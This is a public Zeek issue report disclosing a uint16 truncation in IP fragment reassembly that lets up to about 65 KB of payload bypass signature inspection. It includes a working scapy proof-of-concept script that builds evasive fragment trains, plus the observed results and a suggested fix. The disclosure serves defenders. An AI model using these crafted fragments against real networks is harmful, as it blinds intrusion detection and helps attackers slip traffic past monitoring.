`uint16` truncation of reassembled IP total length lets ~65 KB of fragmented payload bypass inspection
This was initially opened as a security ticket, but after conversation within the team we decided that it's low-enough severity to move to the public repo.
This seems like low severity: technically possible to have security implications, but pretty unlikely.
Compressed issue/poc:
067-reassembled-ip-len-truncation-evasion.tar.gz
Unedited issue:
Summary
After IPv4/IPv6 fragment reassembly, FragReassembler::BlockInserted() writes the total
length of the synthetic IP header as htons(frag_size + proto_hdr_len). The argument is a
uint64_t that can legitimately reach ~131,000 (final fragment offset up to 65,528 plus its
payload), but htons() takes uint16_t, so the value silently wraps modulo 65,536. The
reassembly buffer is allocated with the full 64-bit size (no memory corruption), but the
resulting IP_Hdr lies about its length: the IP analyzer re-reads the truncated TotalLen()
and forwards only that many bytes to upper-layer analyzers and the signature engine. Up to
~65.5 KB of payload that Zeek faithfully reassembled is never inspected — signatures on
content beyond the wrapped length do not fire, and conn.log byte counts are wrong.
Affected version
- Commit
62443ad95d88c82ea5957176e113086fc99b5a05(9.0.0-dev.741) - Component:
src/Frag.cc:264(IPv4) and:271(IPv6); downstream consumersrc/packet_analysis/protocol/ip/IP.cc:173 - Configuration: default (IP fragment reassembly is core, always-on functionality)
Impact / Severity
Low. Analysis evasion / correctness (CWE-197 numeric truncation). No out-of-bounds
access: the buffer is allocated with the full 64-bit size and the copies are bounds-checked.
Practical evasion value is limited because RFC-compliant end hosts also reject IPv4 datagrams
whose reassembled size exceeds 65,535 — but permissive/buggy stacks may accept them, and the
bug desynchronizes Zeek from such hosts, silently blinds payload signatures, and corrupts
length-based logic (conn.log records 112 bytes for a ~66 KB transfer). The only telemetry is
a non-fatal excessively_large_fragment weird.
Technical details
Sink — src/Frag.cc:262-271:
if ( version == 4 ) {
struct ip* reassem4 = reinterpret_cast<ip*>(pkt_start);
reassem4->ip_len = htons(frag_size + proto_hdr_len); // line 264: uint64 -> uint16
reassembled_pkt = std::make_shared<IP_Hdr>(reassem4, true, true);
...
else if ( version == 6 ) {
struct ip6_hdr* reassem6 = reinterpret_cast<ip6_hdr*>(pkt_start);
reassem6->ip6_plen = htons(frag_size + proto_hdr_len - 40); // line 271: same truncationPath:
frag_sizederives fromupper_seq = offset + len - hdr_len(Frag.cc:97), whereoffset = (ntohs(ip_off) & 0x1fff) * 8(max 65,528),len = ntohs(ip_len)(max 65,535),hdr_len >= 20— all raw wire bytes.frag_sizecan therefore reach ~131,043.- The only size check,
if ( upper_seq > MAX_ACCEPTABLE_FRAG_SIZE )(Frag.cc:119, constant 64,000 atFrag.cc:12), emits a Weird and falls through — no return, no clamp. Frag.cc:218computesconst uint64_t n = proto_hdr_len + frag_size;andFrag.cc:227allocatesnew u_char[n]with the full 64-bit value, so the reassembly itself is safe; only the header length field wraps at line 264/271.src/packet_analysis/protocol/ip/IP.cc:173then doeslen = total_len = packet->ip_hdr->TotalLen();, re-reading the truncatedntohs(ip_len), and forwards only that many bytes to session/upper-layer analysis. Everything past the wrapped length in the reassembled buffer is invisible to detection.
Trigger arithmetic: a contiguous fragment train carrying 65,628 bytes of IP payload (final
fragment at byte offset 65,528, i.e. ip_off = 0x1FFF, MF=0) gives
n = 20 + 65,628 = 65,648; htons(65648 & 0xFFFF) = htons(112), so the reassembled datagram
claims ip_len = 112 while the buffer holds 65,648 bytes. Setting the inner UDP length field
to 92 makes the truncated view parse as a tiny, clean UDP packet.
Reproduction
A/B pair: the trigger train reassembles to 65,648 bytes (wraps to 112); the control train is identical construction but reassembles to exactly 65,535 bytes (max legal, no wrap). Both place a marker string only in the last 32 bytes of the UDP payload; a signature on the marker isolates whether bytes beyond the truncated length are inspected.
#!/usr/bin/env python3
# Finding 046: uint16 wrap of reassembled ip_len (Frag.cc:264) -> payload bypasses inspection.
import os, struct, sys
from scapy.all import IP, Raw, wrpcap
SRC, DST, SPORT, DPORT = "10.0.0.1", "10.0.0.2", 12345, 53535
def frag_train(total_payload, udp_len_field, ipid):
payload = bytearray(struct.pack("!HHHH", SPORT, DPORT, udp_len_field, 0)) # UDP header
marker = b"EVIL-PAYLOAD-BEYOND-TRUNCATION--"
payload += b"A" * (total_payload - len(payload) - len(marker)) + marker
payload = bytes(payload[:total_payload])
pkts, off = [], 0
while off < total_payload:
size = min(1480, total_payload - off)
last = (off + size == total_payload)
if not last:
size -= size % 8
pkts.append(IP(src=SRC, dst=DST, id=ipid, proto=17,
flags=0 if last else "MF", frag=off // 8) / Raw(payload[off:off+size]))
off += size
return pkts
out = sys.argv[1] if len(sys.argv) > 1 else "."
# Trigger: 65,628-byte IP payload -> n=65,648 -> ip_len wraps to 112.
wrpcap(os.path.join(out, "046-trigger.pcap"), frag_train(65628, 92, 7), linktype=101)
# Control: 65,515-byte IP payload -> ip_len = 65,535 (max legal, no wrap).
wrpcap(os.path.join(out, "046-control.pcap"), frag_train(65515, 65515, 8), linktype=101)
open(os.path.join(out, "sig.sig"), "w").write(
'signature evil-marker {\n ip-proto == udp\n'
' payload /.*EVIL-PAYLOAD-BEYOND-TRUNCATION/\n'
' event "evil marker seen in UDP payload"\n}\n')
open(os.path.join(out, "show.zeek"), "w").write(
'@load-sigs ./sig.sig\n'
'event new_packet(c: connection, p: pkt_hdr) {\n'
' if ( p?$ip )\n print fmt("new_packet: ip_len=%d proto=%d", p$ip$len, p$ip$p);\n}\n'
'event signature_match(state: signature_state, msg: string, data: string) {\n'
' print fmt("SIGNATURE_MATCH: %s", msg);\n}\n')Run each pcap in its own directory:
zeek -r 046-trigger.pcap -C show.zeek
zeek -r 046-control.pcap -C show.zeekObserved results (validated 2026-08-04 at commit 62443ad95d)
Release build (RelWithDebInfo), both runs exit 0.
Trigger run (45 fragments, contiguous [0,65628), reassembles into a 65,648-byte buffer):
stdout: new_packet: ip_len=112 proto=17 <- reassembled header claims 112 bytes
(no SIGNATURE_MATCH line) <- marker in last 32 bytes NOT inspected
conn.log: ... udp ... 1 112 0 0 ... <- orig_pkts=1 orig_ip_bytes=112
weird.log: excessively_large_fragment <- only telemetry; processing continuedControl run (identical construction, reassembles to exactly 65,535 bytes):
stdout: new_packet: ip_len=65535 proto=17
SIGNATURE_MATCH: evil marker seen in UDP payload
conn.log: ... udp ... 1 65535 0 0 ... <- orig_ip_bytes=65535The same tail-of-payload signature fires on the control and stays silent on the trigger; the
only difference is that the trigger's reassembled size exceeds 65,535, wrapping ip_len to
112 so that ~65.5 KB of reassembled payload is never forwarded to the matcher.
Suggested fix
After computing n = proto_hdr_len + frag_size (Frag.cc:218), reject reassembly when the
length field would wrap — n > 0xFFFF for IPv4, frag_size + proto_hdr_len - 40 > 0xFFFF
for IPv6: emit a Weird (e.g. oversized_reassembled_packet), delete [] pkt_start,
DeleteTimer(), and return without setting reassembled_pkt. (Alternatively, make the
existing MAX_ACCEPTABLE_FRAG_SIZE check at Frag.cc:119 a hard stop.)
Classification
- Bug class: numeric truncation (CWE-197) causing analysis evasion / incorrect logging
- Attack vector: network, unauthenticated, default configuration; requires ~45 crafted fragments
- Effect: up to ~65.5 KB of reassembled payload bypasses signature matching and upper-layer analysis; wrong conn.log byte counts
Source: zeek/zeek